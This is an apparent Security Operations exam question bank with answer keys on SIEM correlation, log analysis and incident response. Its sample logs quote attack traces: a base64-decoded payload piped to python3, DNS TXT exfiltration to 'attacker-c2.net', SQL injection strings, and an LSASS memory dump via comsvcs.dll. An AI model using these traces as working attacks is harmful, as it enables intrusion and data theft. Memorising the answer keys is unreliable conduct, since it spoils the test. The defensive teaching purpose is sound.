Security Operations

627 questions

All types627 Multiple choice320 Multiple select139 Matching36 Ordering132

A Security Operations Center (SOC) analyst is investigating suspicious network and system activity. The analyst extracts the following aggregated log entries from a public-facing web server (web-srv-01) and an internal DNS resolver (dns-core-01):

Log Snippet 1 (Web Server Access & Audit Logs):
2026-07-27T14:22:05Z web-srv-01 nginx: 192.168.10.45 - - [27/Jul/2026:14:22:05 +0000] "POST /api/v1/upload HTTP/1.1" 200 4512 "-" "python-requests/2.31.0"
2026-07-27T14:22:12Z web-srv-01 auditd[1420]: type=EXECVE msg=audit(1785162132.102:402): argc=3 a0="/bin/sh" a1="-c" a2="base64 -d <<< 'aW1wb3J0IG9z...' | python3"

Log Snippet 2 (DNS Query Logs):
2026-07-27T14:22:15Z dns-core-01 named[882]: client 10.0.4.15#52104 (aW5mby5leGZpbHRyYXRpb24.attacker-c2.net): query: aW5mby5leGZpbHRyYXRpb24.attacker-c2.net IN TXT + (10.0.4.1)
2026-07-27T14:22:16Z dns-core-01 named[882]: client 10.0.4.15#52105 (c2VjcmV0ZGF0YS5leGZpbHRyYXRpb24.attacker-c2.net): query: c2VjcmV0ZGF0YS5leGZpbHRyYXRpb24.attacker-c2.net IN TXT + (10.0.4.1)

Based on the log analysis, which of the following conclusions and SIEM detection strategies are correct? (Select TWO.)

Select all that apply

The log entries demonstrate an arbitrary code execution exploit followed by data exfiltration via DNS TXT queries.

The SIEM should be configured with a correlation rule linking shell process creation on web hosts to subsequent high-entropy DNS TXT queries within a short time window.

The log entries capture a successful Cross-Site Scripting (XSS) attack that executed client-side JavaScript to steal session tokens.

The SIEM rule should flag the activity as a failure because an HTTP status code 200 indicates that the server successfully blocked unauthorized authorization.

Show answer & explanation

Answer: The log entries demonstrate an arbitrary code execution exploit followed by data exfiltration via DNS TXT queries.; The SIEM should be configured with a correlation rule linking shell process creation on web hosts to subsequent high-entropy DNS TXT queries within a short time window.

Answer

The correct conclusions are that the logs show arbitrary code execution followed by DNS TXT data exfiltration, and that SIEM correlation rules should link web-triggered process execution with high-entropy DNS TXT queries.

The system logs demonstrate a two-stage attack chain: initial server-side command execution via a web request (proven by the audit log capturing /bin/sh launching a base64-decoded Python script), followed by DNS tunneling (indicated by DNS TXT queries containing base64-encoded subdomains). A proper SIEM detection rule correlates these disparate log sources across time to flag server process spawns paired with high-entropy DNS queries.

Step-by-Step Solution

Analyze the web server access and audit logs

The HTTP POST request to /api/v1/upload was followed seconds later by an auditd EXECVE log entry showing /bin/sh executing a base64-decoded Python payload on the web server.

This indicates server-side command execution resulting from the web application request.

Analyze the DNS query logs

Immediately after command execution, the DNS server logged multiple TXT record queries containing long base64-encoded subdomains directed to an external domain (attacker-c2.net).

Encoded subdomains queried via TXT records are a classic indicator of DNS tunneling used for command-and-control (C2) or data exfiltration.

Formulate effective SIEM correlation logic

Link host process creation (web server spawning shell/scripting binaries) with network-level anomalies (DNS queries containing high entropy or non-standard TXT lookups) across a unified timestamp timeline.

Combining process execution telemetry with network query logs reduces false positives and detects multi-stage attack chains.

Key Concept

SIEM Cross-Source Log Correlation and DNS Exfiltration Analysis

Estimated Time:1m 30s

Question 122Question →

A security analyst is reviewing web server access logs collected by a Security Information and Event Management (SIEM) system. The log stream displays the following entry:

`192.168.1.45 - - [27/Jul/2026:14:22:10 +0000] "GET /products.php?id=1%20UNION%20SELECT%20username,password%20FROM%20users-- HTTP/1.1" 200 452`

Which of the following attack types is directly indicated by this log entry?

SQL injection

Cross-site scripting (XSS)

Broken authentication

SIEM correlation rule misconfiguration

Show answer & explanation

Answer: SQL injection

Answer

SQL injection

The correct answer is SQL injection because the HTTP GET query string contains explicit database command syntax (`UNION SELECT username,password FROM users--`). This indicates an attacker attempting to bypass application input controls to exfiltrate database records.

Step-by-Step Solution

Examine the HTTP GET request parameter in the log snippet.

The string contains `id=1%20UNION%20SELECT%20username,password%20FROM%20users--`.

URL encoding (`%20` for space) conceals SQL keyword syntax used to append database query results.

Identify the target component and intent of the injected string.

The `UNION SELECT` construct attempts to query database user tables via an unvalidated web application input field.

Injecting database commands into application parameters to interact directly with backend data is the core characteristic of SQL injection.

Key Concept

Log Identification of Web Application Attacks

Estimated Time:45s

Question 123Question →

A security analyst confirms that an employee workstation has been infected with self-propagating malware that is actively scanning the local subnet for vulnerable hosts. According to standard incident response frameworks, which action should the analyst take FIRST?

Disconnect the workstation from the network to isolate it

Reimage the workstation's hard drive to completely remove the malware

Restore the workstation files from the latest secure offline backup

Convene a post-incident review meeting to document lessons learned

Show answer & explanation

Answer: Disconnect the workstation from the network to isolate it

Answer

Disconnect the workstation from the network to isolate it

Isolating the affected system from the network is the immediate containment action required by NIST and ISO incident response playbooks. Containment stops the active spread of malware and lateral movement while preserving the current state for further analysis.

Step-by-Step Solution

Identify the current phase of the incident response process

The incident has been detected and confirmed, meaning containment must immediately follow.

Once an active threat is identified, stopping its spread is the primary operational objective.

Select the containment action from the available choices

Disconnecting/isolating the host prevents network traffic from leaving or entering the infected system.

Network isolation stops active lateral movement without destroying volatile evidence needed for containment analysis.

Key Concept

Incident Response Process Order (Containment Phase First)

Question 124Question →

A security operations team is configuring an enterprise Security Information and Event Management (SIEM) data pipeline to process heterogeneous log sources across cloud and on-premises environments. In what sequential order does the SIEM pipeline process incoming event data from initial receipt to alert generation?

Drag items to arrange them in the correct order

Show answer & explanation

Answer

The correct sequential order for processing raw event data into an actionable alert in a SIEM pipeline is: 1) Log Aggregation & Transport, 2) Parsing & Field Extraction, 3) Data Normalization, 4) Contextual Enrichment, and 5) Correlation & Rule Evaluation.

The standard SIEM data ingestion pipeline follows a strict logical flow: raw logs are ingested and transported to the collector, parsed into discrete field tokens, normalized into a uniform data schema, enriched with external contextual metadata (such as threat intelligence and asset ownership), and finally processed by the correlation engine to evaluate detection logic and trigger alerts.

Step-by-Step Solution

Receive raw log stream from endpoints and security appliances

Log Aggregation & Transport moves raw events from source hosts to the central collector.

Data must arrive at the SIEM collector before processing can take place.

Break down raw log strings into key-value pairs

Parsing & Field Extraction converts unstructured text strings into indexed attributes.

Raw string data must be tokenized into discrete attributes like IP addresses and usernames.

Standardize variable names into a unified vendor-agnostic schema

Data Normalization aligns disparate field names across vendor products into a single field taxonomy.

Unified querying across firewall, OS, and application logs requires a standardized schema.

Augment normalized log attributes with contextual threat and identity data

Contextual Enrichment attaches threat intelligence feed scores, GeoIP location data, and LDAP user roles.

Rule engines need rich contextual indicators to calculate risk scores accurately.

Execute correlation rules against normalized and enriched event streams

Correlation & Rule Evaluation checks events against multi-stage detection logic to generate security alerts.

Correlation is performed on fully normalized and enriched logs to minimize false positives and detect complex attacks.

Key Concept

SIEM Ingestion and Event Processing Pipeline Architecture

Question 125Question →

During a late-night monitoring shift, a security analyst identifies an active outbound socket connection transferring encrypted data from a CI/CD build node to an unrecognized external IP address. Initial investigation confirms that an unauthorized process is exfiltrating proprietary code repositories. According to standard incident response lifecycle frameworks, which of the following actions should the analyst perform FIRST?

Isolate the CI/CD build node from the network to halt active exfiltration while preserving volatile system memory.

Terminate the unauthorized exfiltration process and delete the associated persistence mechanisms from the host.

Reimage the build node using a verified gold master deployment image to restore development pipeline services.

Configure perimeter routers to operate as detective controls by auditing all subsequent developer outbound traffic.

Show answer & explanation

Answer: Isolate the CI/CD build node from the network to halt active exfiltration while preserving volatile system memory.

Answer

Isolate the CI/CD build node from the network to halt active exfiltration while preserving volatile system memory.

Isolating the compromised host from the network represents the containment phase of incident response. Once an active threat and exfiltration attempt are identified, containment must occur immediately to prevent further data loss and limit damage while keeping system memory intact for volatile forensic data collection.

Step-by-Step Solution

Analyze the incident state and identify the current lifecycle phase.

The incident is actively occurring with ongoing exfiltration confirmed during detection and analysis.

Determining the active phase dictates the next mandatory phase in standard incident response frameworks.

Select the immediate next phase according to NIST/ISO incident response standards.

The immediate next phase after confirming an active breach is Containment.

Containment limits the scope of damage and prevents further data exfiltration.

Identify the proper containment action among the available options.

Isolating the host from the network stops active data transfer while keeping RAM evidence intact.

Disconnecting or segmenting the device achieves containment without executing premature eradication or recovery steps.

Key Concept

Incident Response Lifecycle Phase Order (Containment)

Estimated Time:1m 30s

Question 126Question →

During a threat hunting exercise on an enterprise SCADA network, a SOC analyst identifies an unauthorized background service executing on a primary operational jump server. The rogue process is actively establishing covert encrypted DNS tunnels to external command-and-control (C2) servers to exfiltrate system telemetry. The incident response playbook mandates immediate threat containment while strictly maintaining volatile RAM evidence for subsequent forensics. Which of the following operational steps should the security team perform FIRST to adhere to the containment phase protocols?

Apply a microsegmentation isolation policy at the managed switch port and firewall to sever outbound network connectivity while keeping the host powered on.

Execute an immediate forced reboot of the operational jump server to kill the rogue background service and clear compromised memory spaces.

Reimage the operational jump server using a baseline virtual machine snapshot from the secure deployment repository.

Deploy a detective intrusion detection rule in the SIEM to suppress future C2 alerts generated by the rogue background process during investigation.

Show answer & explanation

Answer: Apply a microsegmentation isolation policy at the managed switch port and firewall to sever outbound network connectivity while keeping the host powered on.

Answer

The operational team should isolate the jump server at the network level by applying microsegmentation firewall and switch port restrictions while preserving host power state for forensic acquisition.

Network-level microsegmentation isolates the compromised host from the network, immediately stopping data exfiltration and external command-and-control channels without interrupting power, thereby preserving volatile system RAM for forensic memory analysis.

Step-by-Step Solution

Analyze the incident context and requirements.

Identified an active C2 covert DNS tunnel exfiltrating data on a critical server, with a requirement to contain threat activity without losing volatile RAM evidence.

Containment must balance stopping malicious traffic/exfiltration while upholding the order of volatility for digital forensics.

Evaluate containment actions against NIST/ISO incident response lifecycle phases.

Network-level isolation (microsegmentation) blocks outbound C2 traffic while preserving RAM.

Powering off or rebooting destroys volatile memory; reimaging belongs in recovery; alert suppression fails to contain the threat.

Select the correct immediate containment step.

Isolating the network connection while maintaining system uptime.

This directly fulfills containment objectives without destroying forensic artifacts.

Key Concept

Containment Strategy & Order of Volatility in Incident Response Playbooks

Question 127Question →

A Security Operations Center (SOC) team is investigating a multi-stage enterprise breach. A SIEM correlation engine collected logs across web application firewalls, endpoint detection agents, and Windows Domain Controllers. Based on log signatures and attack techniques, arrange the following log events in the correct chronological order of the attacker's progression through the cyber kill chain (from initial access to persistence).

Drag items to arrange them in the correct order

Show answer & explanation

Answer

The correct chronological order of the intrusion progression is: (1) SQL injection web access log, (2) Obfuscated PowerShell execution from web daemon, (3) LSASS process memory dump via comsvcs.dll, (4) Network Logon Type 3 lateral movement using NTLMv2, and (5) Scheduled Task creation for persistence.

Analyzing log artifacts chronologically requires mapping specific event signatures to the Cyber Kill Chain / MITRE ATT&CK framework: 1. Web exploitation (SQL Injection in web access logs) provides Initial Access. 2. Web daemon spawning encoded PowerShell (EDR log) represents Execution. 3. Dumping LSASS memory via comsvcs.dll (Event 4688) represents Credential Access. 4. Using stolen credentials to log into an internal system via network authentication (Event 4624 Type 3) represents Lateral Movement. 5. Creating a scheduled task (Event 4698) on the internal target host represents Persistence.

Step-by-Step Solution

Identify Initial Access / Exploitation phase

Recognize the web server log showing a HTTP POST request containing 'UNION SELECT SQL injection payload as the initial attack vector.

Attacks begin with initial perimeter exposure or application exploitation before internal execution can occur.

Identify Execution / Payload delivery phase

Locate EDR process creation log showing the web process (www-data) spawning cmd.exe and encoded PowerShell.

Exploitation of web vulnerabilities is immediately followed by shell command execution to establish operational control.

Identify Credential Access / Privilege Escalation phase

Identify Windows Event 4688 executing rundll32.exe comsvcs.dll MiniDump to dump LSASS memory.

Once on a host, attackers dump memory to extract cleartext credentials or hashes required for lateral movement.

Identify Lateral Movement phase

Correlate Windows Event 4624 (Logon Type 3) originating from the compromised web server (10.0.4.15) using DomainAdmin credentials.

Harvested credentials enable network authentication to access other internal enterprise systems.

Identify Persistence phase

Identify Windows Event 4698 indicating a scheduled task creation running an encoded PowerShell script.

After establishing access on internal high-value targets, persistent mechanisms (scheduled tasks, registry run keys) ensure continuous access.

Key Concept

Multi-Source Log Correlation and Attack Lifecycle Reconstruction

Question 128Question →

A security analyst is examining raw log snippets collected by a SIEM system from various network resources. Match each log entry pattern on the left to the corresponding security event or attack type on the right.

Click a left item, then click its matching right item

Show answer & explanation

Answer

The HTTP GET request with SQL syntax matches SQL Injection; the repeated SSH authentication failures match SSH Brute Force; the script tag payload matches Cross-Site Scripting; and the sequential port connections match Port Scan / Reconnaissance.

Each log snippet exhibits explicit operational indicators: SQL control characters indicate SQL Injection, high-frequency authentication failures indicate SSH Brute Force, client-side script tags indicate XSS, and sequential port sweep drops indicate a network Port Scan.

Step-by-Step Solution

Analyze web server request parameters in the first log entry

Identified the payload ' OR '1'='1 which manipulates database query logic.

This is a classic signature of SQL Injection.

Evaluate authentication log rates in the second entry

Identified 500 failed root login attempts via SSH within 60 seconds.

Rapid repetitive authentication failures indicate password brute forcing.

Inspect input strings in the third log entry

Found inline client-side code execution tags (<script>).

Injecting client-side script elements into URL parameters is indicative of XSS.

Review firewall drop event patterns in the fourth entry

Observed connections dropped across a broad range of consecutive ports (1-1024).

Probing multiple sequential ports identifies host service reconnaissance.

Key Concept

Log Pattern Analysis and Threat Identification

Estimated Time:1m 0s

Question 129Question →

A security operations center (SOC) analyst confirms an active Golden Ticket attack originating from a compromised Active Directory Domain Controller within an enterprise network. Arrange the following incident response procedures in the correct chronological order according to standard NIST incident response lifecycle guidelines, starting with the earliest step.

Drag items to arrange them in the correct order

Show answer & explanation

Answer

The correct order follows the standard NIST SP 800-61 r2 Incident Response Lifecycle: Containment (network isolation and session revocation) → Eradication (double krbtgt password reset and malware removal) → Recovery (backup restoration, service re-engagement, and monitoring) → Post-Incident Activity (after-action review and playbook updates).

According to standard NIST incident response guidelines (SP 800-61 r2), containment must always precede eradication to restrict adversary movement. Once isolated, eradication eliminates the root cause and attacker access methods (such as invalidating Kerberos TGTs via a double krbtgt reset). Recovery follows to safely restore verified services into production under heightened monitoring, and post-incident activities take place last to document lessons learned and refine security controls.

Step-by-Step Solution

Identify the initial Containment action.

Network isolation of the Domain Controller and revocation of administrative sessions prevents the attacker from propagating across the enterprise.

Containment must occur first upon confirming an intrusion to limit the scope of compromise.

Identify the Eradication action.

Resetting the krbtgt account password twice invalidates all existing Ticket Granting Tickets (including forged Golden Tickets), and removing backdoors eliminates root access vectors.

Eradication neutralizes the threat completely so that systems can be safely brought back online.

Identify the Recovery action.

Restoring directory services from clean backups, resuming domain authentication, and closely monitoring ticket traffic confirms operational integrity.

Recovery restores impacted infrastructure to normal operational status in a controlled, monitored environment.

Identify the Post-Incident Activity action.

Performing an after-action debriefing, updating incident playbooks, and implementing stronger access controls enhances enterprise resilience.

Lessons learned activities document the incident response performance and refine operational defenses against future attacks.

Key Concept

NIST Incident Response Lifecycle (Containment, Eradication, Recovery, Post-Incident Activity)

Question 130Question →

A system administrator reviews the following web server access log entries associated with an internal audit endpoint:

192.168.1.45 - - [27/Jul/2026:14:22:01 +0000] "POST /api/v1/query HTTP/1.1" 200 4520 "id=101+UNION+SELECT+username,password_hash+FROM+users--" "Mozilla/5.0"
192.168.1.45 - - [27/Jul/2026:14:22:05 +0000] "POST /api/v1/query HTTP/1.1" 200 5120 "id=101' OR '1'='1" "Mozilla/5.0"

Which type of attack vector do these log entries demonstrate, and what is the most effective application-level mitigation?

SQL injection (SQLi); mitigate by implementing parameterized queries and prepared statements.

Cross-Site Scripting (XSS); mitigate by implementing context-aware HTML output encoding.

Broken Authentication; mitigate by enforcing multi-factor authentication (MFA) across access gateways.

Remote Code Execution (RCE); mitigate by deploying a network-based detective firewall.

Show answer & explanation

Answer: SQL injection (SQLi); mitigate by implementing parameterized queries and prepared statements.

Answer

SQL injection (SQLi); mitigate by implementing parameterized queries and prepared statements.

The log entries clearly display classic SQL injection patterns (`UNION SELECT` attempting data exfiltration from `users` and `' OR '1'='1` attempting boolean bypass). Parameterized queries (prepared statements) enforce strong type separation between code and data at the application layer, neutralizing SQL injection vulnerabilities.

Step-by-Step Solution

Analyze the request payload parameters in the HTTP POST log entries.

Identified SQL command keywords (`UNION SELECT`, `FROM users`, `' OR '1'='1`) embedded in the `id` parameter.

Log analysis requires inspecting user-supplied input strings to recognize attack signature patterns.

Determine the targeted system component and vulnerability class.

The payload targets the backend database interpreter via untrusted input concatenated into SQL statements (SQL Injection).

Distinguishing database command syntax from client-side script syntax clarifies the specific flaw.

Identify the primary preventive developer mitigation for SQL Injection.

Use parameterized queries (prepared statements) to separate data inputs from database code execution.

Pre-compiling SQL queries ensures user inputs are never parsed as executable SQL commands.

Key Concept

Identifying SQL Injection signatures in HTTP logs and applying parameterized query mitigations

Question 131Question →

An organization is updating its cybersecurity incident response plan according to the standard NIST SP 800-61 framework. In what sequential order should the core phases of the incident response lifecycle be performed from first to last?

Drag items to arrange them in the correct order

Show answer & explanation

Answer

The correct sequential order of the NIST incident response lifecycle phases is Preparation, followed by Detection and Analysis, then Containment, Eradication, and Recovery, and finally Post-Incident Activity.

According to NIST SP 800-61, the standard incident response process follows four sequential phases: Preparation (setting up response tools, policies, and training), Detection and Analysis (identifying security events and determining their scope), Containment, Eradication, and Recovery (limiting impact, purging threat actors or artifacts, and restoring systems), and Post-Incident Activity (conducting lessons-learned analysis to improve future readiness).

Step-by-Step Solution

Identify the foundational phase established prior to security incidents.

Preparation is the initial phase.

An incident response team must prepare infrastructure, tools, and playbooks before attacks occur.

Identify the phase triggered by suspicious activity or system alerts.

Detection and Analysis follows Preparation.

Security operations teams must detect anomalies, validate security events, and analyze threat vectors.

Identify the phase dedicated to stopping the threat and restoring operational baselines.

Containment, Eradication, and Recovery follows Detection and Analysis.

Once an incident is confirmed and analyzed, responders must limit its spread, clean infected hosts, and bring systems back online securely.

Identify the concluding evaluation phase after threat resolution.

Post-Incident Activity is the final phase.

After the incident is mitigated and operations are restored, the team holds lessons-learned meetings to update playbooks and improve future response.

Key Concept

NIST Incident Response Lifecycle Phases

Question 132Question →

A Security Operations Center (SOC) analyst is standardizing correlation rules in an enterprise Security Information and Event Management (SIEM) system. Match each log entry pattern on the left to its corresponding security event or attack vector on the right.

Click a left item, then click its matching right item

Show answer & explanation

Answer

Matching pairs: The Common Event Format (CEF) failed logon log corresponds to the Automated brute-force authentication event; the web access log containing UNION SELECT corresponds to the In-band SQL injection attack; the AWS CloudTrail log with AccessDenied corresponds to the Cloud IAM authorization policy failure; and the Linux auditd syscall log spawning root bash corresponds to the Local privilege escalation execution.

Each log archetype displays distinct header and payload indicators: Windows CEF Event ID 4625 with high event counts reflects brute-force authentication activity; UNION SELECT web requests signify SQL injection attempts; CloudTrail AccessDenied events on policy operations reflect authorization rule enforcement; and Linux syscall 59 launching bash with euid=0 from unprivileged auid=1002 demonstrates local privilege escalation.

Step-by-Step Solution

Analyze Windows Event ID 4625 and CEF aggregate fields in the first log entry.

Identify Event ID 4625 as a failed logon attempt and count=450 as rapid repeated failures indicative of automated credential brute-forcing.

High-frequency failed logon events targeting authentication endpoints reflect brute-force authentication attempts.

Inspect URI query parameters in the second log entry.

Recognize URL-encoded SQL keywords ('UNION SELECT', 'information_schema.tables') used to query database structures.

Injecting database commands into web input parameters is the core indicator of in-band SQL injection.

Examine AWS CloudTrail JSON fields in the third log entry.

Evaluate 'eventName: PutUserPolicy' paired with 'errorCode: AccessDenied' as an unauthorized permission modification attempt.

'AccessDenied' during an API authorization check demonstrates role permission enforcement stopping unauthorized policy attachments.

Analyze Linux auditd syscall log fields in the fourth log entry.

Correlate syscall 59 (execve) spawning binary '/bin/bash' with effective UID 0 (root) from unprivileged audit identity AUID 1002.

Transitioning execution context from an unprivileged user (auid=1002) to effective root privileges (euid=0) represents local privilege escalation.

Key Concept

Log Analysis and SIEM Correlation

Estimated Time:2m 0s

Question 133Question →

A security analyst receives a critical Endpoint Detection and Response (EDR) alert showing an unauthorized process attempting to dump LSASS memory on a key workstation in the finance department. The alert confirms that the malicious process is actively attempting to establish command-and-control (C2) communications. According to standard NIST SP 800-61 incident response guidelines, what is the immediate next action the analyst should take?

Isolate the infected finance workstation from the network to prevent lateral movement and C2 traffic.

Re-image the workstation operating system and restore data files from a verified offline backup.

Conduct a post-incident review meeting with management to document lessons learned and update playbooks.

Deploy a perimeter firewall rule to block all outbound traffic across non-standard network ports.

Show answer & explanation

Answer: Isolate the infected finance workstation from the network to prevent lateral movement and C2 traffic.

Answer

Isolate the infected finance workstation from the network to prevent lateral movement and C2 traffic.

In standard incident response frameworks (such as NIST SP 800-61), once an active threat or compromise is detected, the immediate priority is Containment. Network isolation of the compromised host prevents the adversary from pivoting laterally within the enterprise network, executing further commands, or exfiltrating harvested credentials while keeping volatile memory intact for analysis.

Step-by-Step Solution

Identify the current lifecycle phase of the incident response process based on the EDR alert.

The incident is actively occurring in real time on a live host, placing the response in the Containment, Eradication, and Recovery phase.

Immediate containment is required first to limit damage and prevent active threat propagation.

Determine the proper initial response action for an active endpoint compromise.

Network isolation (host quarantine) stops C2 communication and lateral movement without destroying volatile RAM evidence.

Containment must precede eradication actions like wiping or re-imaging.

Key Concept

Incident Response Containment Phase Procedures

Question 134Question →

A security analyst identifies an active incident where a web server is communicating with an unauthorized external command-and-control (C2) server. According to standard incident response playbooks, which of the following initial actions should the incident response team perform during the containment phase? (Select TWO.)

Select all that apply

Isolate the compromised web server from the local network segment.

Implement outbound firewall block rules targeting the external command-and-control IP address.

Re-image the compromised web server using a known-good baseline installation image.

Conduct a post-incident review meeting with stakeholders to update existing IR playbooks.

Show answer & explanation

Answer: Isolate the compromised web server from the local network segment.; Implement outbound firewall block rules targeting the external command-and-control IP address.

Answer

Isolate the compromised web server from the local network segment and implement outbound firewall block rules targeting the external command-and-control IP address.

During the containment phase, the immediate objective is to stop the spread of the attack and prevent further unauthorized access or exfiltration. Isolating the server prevents lateral spread within the subnet, while blocking the external destination IP at the boundary firewall cuts off remote adversary control. Both actions fit directly into the containment playbook.

Step-by-Step Solution

Determine the current phase of the incident response process based on the active state of the compromise.

Because active external communication and host compromise are occurring in real time, response efforts must focus on Containment.

Containment limits the scope and impact of an incident before technical remediation can take place.

Identify specific technical actions that halt the spread of the attack without destroying live evidence prematurely.

Disconnecting/isolating the host from the network and blocking outbound connection attempts to the C2 IP meet containment criteria.

These controls restrict network access and halt adversary control while preserving system RAM and forensic log data.

Filter out actions associated with subsequent incident response phases.

Re-imaging the host (Eradication/Recovery) and holding a review session (Lessons Learned) are recognized as premature.

Executing recovery or lessons-learned tasks during containment leaves active threats unconstrained or destroys essential evidence.

Key Concept

Incident Response Process - Containment Phase Execution

Question 135Question →

During cloud infrastructure monitoring, a SOC analyst detects suspicious automated API calls using a developer service account key to copy sensitive object storage buckets to an unapproved external destination. The security team must immediately initiate containment procedures according to the incident response playbook. Which of the following containment actions should the incident response team execute immediately? (Select TWO.)

Select all that apply

Revoke the compromised service account's active access keys and temporary session tokens.

Attach an explicit inline deny policy to the service account restricting object storage read and export operations.

Re-image all build nodes and host virtual machines associated with the cloud developer environment.

Update web application firewall rules to block SQL injection payloads directed at edge application servers.

Show answer & explanation

Answer: Revoke the compromised service account's active access keys and temporary session tokens.; Attach an explicit inline deny policy to the service account restricting object storage read and export operations.

Answer

The incident response team should revoke the compromised service account's active access keys and session tokens, and attach an explicit inline deny policy restricting object storage operations.

In cloud incident response playbooks, containing compromised identity credentials requires stopping authentication and authorization channels immediately. Revoking access keys invalidates credential access, while applying an explicit IAM deny policy provides immediate permission enforcement across the cloud environment to stop ongoing data exfiltration.

Step-by-Step Solution

Identify the compromised identity vector

Determined that an exposed cloud service account key is being used for unauthorized API calls.

Containment must target the specific vector facilitating unauthorized access.

Execute immediate credential invalidation

Revoked access keys and active tokens for the compromised service account identity.

Prevents the threat actor from issuing further API commands.

Enforce explicit policy-level containment

Attached an inline IAM deny policy prohibiting S3/object storage data reads and exports.

Guarantees immediate blocking of API permissions even if cached tokens persist.

Key Concept

Cloud Identity Incident Containment

Question 136Question →

A Security Operations Center (SOC) analyst is reviewing SIEM log correlation logic designed to detect unauthorized administrative lateral movement. The SIEM rule requires three conditions to trigger a high-severity alert:
1. A Windows Event ID 4624 (Logon Type 3 - Network) for a service account.
2. A Windows Event ID 4672 (Special privileges assigned) for the same account occurring within $60\text{ seconds}$ of the logon event.
3. A Sysmon Event ID 1 (Process Creation) where `ParentImage` is `services.exe` occurring within $30\text{ seconds}$ of privilege assignment.

The analyst extracts the following log sequence from a compromised server:

text
[2026-07-27T14:10:02Z] Host=SRV-FIN01 EventID=4624 LogonType=3 TargetUserName=svc_backup WorkstationName=WKSTN-77
[2026-07-27T14:11:05Z] Host=SRV-FIN01 EventID=4672 TargetUserName=svc_backup PrivilegeList=SeDebugPrivilege
[2026-07-27T14:11:15Z] Host=SRV-FIN01 EventID=1 Image=C:\Windows\System32\cmd.exe ParentImage=C:\Windows\System32\services.exe

Despite malicious process execution occurring, no SIEM alert was generated. Which of the following best explains why the correlation rule failed to trigger?

The elapsed time between Event ID 4624 and Event ID 4672 was 63 seconds, exceeding the 60-second correlation window.

The correlation engine evaluated Logon Type 3 as a local interactive session rather than a network authentication event.

Event ID 4672 represents identity verification authentication rather than access privilege authorization.

The rule failed because Sysmon Event ID 1 acts as a preventive control rather than a detective monitoring source.

Show answer & explanation

Answer: The elapsed time between Event ID 4624 and Event ID 4672 was 63 seconds, exceeding the 60-second correlation window.

Answer

The elapsed time between the logon event (14:10:02Z) and the privilege assignment event (14:11:05Z) was 63 seconds, which exceeds the 60-second correlation window required by the rule.

The correct answer identifies the timestamp discrepancy between the initial logon log (14:10:02Z) and the privilege assignment log (14:11:05Z). The elapsed duration of 63 seconds exceeds the strict 60-second window configured in the correlation logic, causing the SIEM engine to drop the event sequence before evaluating subsequent conditions.

Step-by-Step Solution

Analyze the timestamps of the first two correlated events in the log sequence.

Event ID 4624 occurred at 14:10:02Z and Event ID 4672 occurred at 14:11:05Z.

SIEM correlation rules evaluate temporal relationships between consecutive events.

Calculate the time delta between Event ID 4624 and Event ID 4672.

\Delta t = 14:11:05 - 14:10:02 = 63\text{ seconds}

The rule explicitly requires the privilege assignment event to occur within 60 seconds of the logon event.

Evaluate the calculated time delta against the SIEM rule condition.

Since

63\text{ seconds} > 60\text{ seconds}

, condition 2 of the correlation rule failed, preventing alert generation.

Sliding correlation windows require all boolean conditions and time bounds to be satisfied simultaneously.

Key Concept

SIEM Temporal Event Correlation and Time Window Thresholds

Estimated Time:2m 30s

Question 137Question →

A security analyst in a Security Operations Center (SOC) receives a high-confidence alert that a finance department workstation is infected with worm-like malware actively attempting to spread to adjacent hosts on the local subnet. According to standard incident response playbooks, which of the following actions should the analyst perform first?

Disconnect the infected workstation from the network to isolate it from surrounding systems.

Format the primary hard drive and reinstall the workstation operating system from a clean image.

Schedule a lessons-learned meeting with stakeholders to update the emergency response plan.

Deploy a web application firewall rule to block Cross-Site Scripting payloads on the public gateway.

Show answer & explanation

Answer: Disconnect the infected workstation from the network to isolate it from surrounding systems.

Answer

Disconnect the infected workstation from the network to isolate it from surrounding systems.

Disconnecting the infected workstation from the network is a primary containment action. In standard incident response frameworks (such as NIST SP 800-61), once an active threat is identified, containment must occur immediately to prevent the incident from expanding and causing further damage across the enterprise network.

Step-by-Step Solution

Identify the current phase of the incident response process based on the scenario indicators.

An active malware infection spreading across the local subnet indicates an ongoing, uncontained threat.

Determining the active IR phase guides the priority of subsequent actions.

Apply the standard Incident Response framework lifecycle order (Preparation -> Identification -> Containment -> Eradication -> Recovery -> Lessons Learned).

The immediate objective after identification is Containment.

Containment limits the scope of damage and stops potential lateral movement.

Select the action corresponding to the Containment phase.

Disconnecting the machine isolates the threat from spreading further.

Network isolation prevents the worm from compromising additional hosts on the subnet.

Key Concept

Incident Response Lifecycle - Containment Phase Priority

Question 138Question →

A security analyst discovers that an operational AWS IAM access key belonging to a production microservice repository was inadvertently committed to a public version control repository. Following standard incident response playbook procedures for credential exposure, place the following response actions in the correct sequential order from first to last.

Drag items to arrange them in the correct order

Show answer & explanation

Answer

The correct sequence of incident response actions is: 1) Revoke the exposed IAM access key and apply an explicit deny policy, 2) Isolate affected compute instances and preserve volatile memory, 3) Analyze CloudTrail logs to identify and eradicate persistence mechanisms, 4) Deploy clean application instances with rotated credentials and restore operations, and 5) Conduct a post-incident review to implement automated secret scanning and update playbooks.

The correct order follows standard incident response frameworks applied to credential exposure playbooks: initial containment (revoking credentials and isolating workloads), eradication (analyzing audit logs to uncover and remove adversary persistence), recovery (redeploying clean workloads with newly generated secrets), and post-incident activity (updating preventive secret-scanning hooks and playbooks).

Step-by-Step Solution

Revoke Compromised Credentials

Terminates ongoing malicious API transactions using the exposed access key.

Immediate containment must disable the attack vector before the adversary can execute further actions.

Isolate Systems and Safeguard Evidence

Prevents adversary lateral movement and preserves volatile memory dumps.

Workload isolation limits blast radius while preserving digital forensic evidence for investigation.

Scope Impact and Eradicate Persistence

Identifies unauthorized infrastructure modifications, rogue IAM roles, and persistent backdoors.

Complete eradication requires identifying and removing all adversary footholds prior to system recovery.

System Recovery and Secret Rotation

Restores application workloads using clean images and new secrets.

Recovery ensures business services resume securely without lingering threat actor access.

Post-Incident Lessons Learned

Implements automated CI/CD secret scanning and improves the response playbook.

Post-incident activities address root causes and update organizational controls to prevent recurrence.

Key Concept

Incident Response Lifecycle & Playbook Execution Sequence

Question 139Question →

A security operations team is configuring a Security Information and Event Management (SIEM) data pipeline to handle heterogeneous syslog and event streams from enterprise endpoints, firewalls, and application servers. Place the following SIEM processing stages in the correct chronological order from initial data intake to analyst notification.

Drag items to arrange them in the correct order

Show answer & explanation

Answer

The correct chronological sequence for processing logs within a SIEM pipeline is: Log Collection, Log Parsing, Log Normalization, SIEM Correlation, and Alert Generation.

